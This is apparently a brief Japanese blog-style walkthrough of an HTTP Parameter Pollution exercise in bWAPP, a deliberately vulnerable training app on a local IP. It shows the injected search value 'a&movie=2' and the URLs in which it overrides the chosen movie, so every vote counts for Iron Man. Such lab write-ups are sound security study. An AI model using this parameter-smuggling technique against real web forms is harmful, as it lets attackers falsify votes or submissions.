Hello there, ('ω')ノ
なぜかまだ、HTTP Parameter Pllutionをやっていなかったようで。
まずは、検索キーを入力して動作確認を。
検索結果とパラメータを確認して。
http://192.168.0.12/bWAPP/hpp-2.php?name=a&action=vote
G.I. Joe: RetaliationをVoteすると下記のパラメータが追加されて。
http://192.168.0.12/bWAPP/hpp-3.php?movie=1&name=a&action=vote
ここで、同じパラメータを追加するとIron ManをVoteしたことになって。
http://192.168.0.12/bWAPP/hpp-3.php?movie=1&name=a&action=vote&movie=2
次にパラメータを含んだ検索キーで検索してみると。
a&movie=2
下記のようにURLにパラメータが追加されて。
http://192.168.0.12/bWAPP/hpp-2.php?name=a%26movie%3D2&action=vote
G.I. Joe: RetaliationをVoteしても選択されたパラメータの後方で。
movie=2で上書きされるので、Iron ManをVoteしたことになって。
http://192.168.0.12/bWAPP/hpp-3.php?movie=1&name=a&movie=2&action=vote
Man of SteelをVoteしてもIron ManをVoteしたことになって。
http://192.168.0.12/bWAPP/hpp-3.php?movie=3&name=a&movie=2&action=vote
Best regards, (^^ゞ
